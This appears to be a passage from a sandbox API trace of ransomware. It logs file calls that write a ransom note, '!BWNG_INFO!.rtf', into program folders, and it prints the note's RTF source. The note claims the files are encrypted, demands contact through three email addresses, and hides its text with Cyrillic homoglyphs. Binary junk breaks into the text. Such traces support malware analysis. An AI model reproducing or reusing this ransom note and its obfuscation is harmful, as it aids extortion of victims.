th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\nt\x15F=\x89\x7fSÜÐÓ\x08\x15h|¢IªÓ]a\x0fª¥Gë`07", lpUsedDefaultChar=0x0) returned 14086 [0034.951] WriteFile (in: hFile=0x1b0, lpBuffer=0x1de8de8*, nNumberOfBytesToWrite=0x3706, lpNumberOfBytesWritten=0x390fdbc, lpOverlapped=0x0 | out: lpBuffer=0x1de8de8*, lpNumberOfBytesWritten=0x390fdbc*=0x3706, lpOverlapped=0x0) returned 1 [0034.952] CloseHandle (hObject=0x1b0) returned 1 [0034.953] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\deploy\\!bwng_info!.rtf")) returned 0xffffffff [0034.953] GetLastError () returned 0x2 [0034.953] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\deploy\\!bwng_info!.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0034.953] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 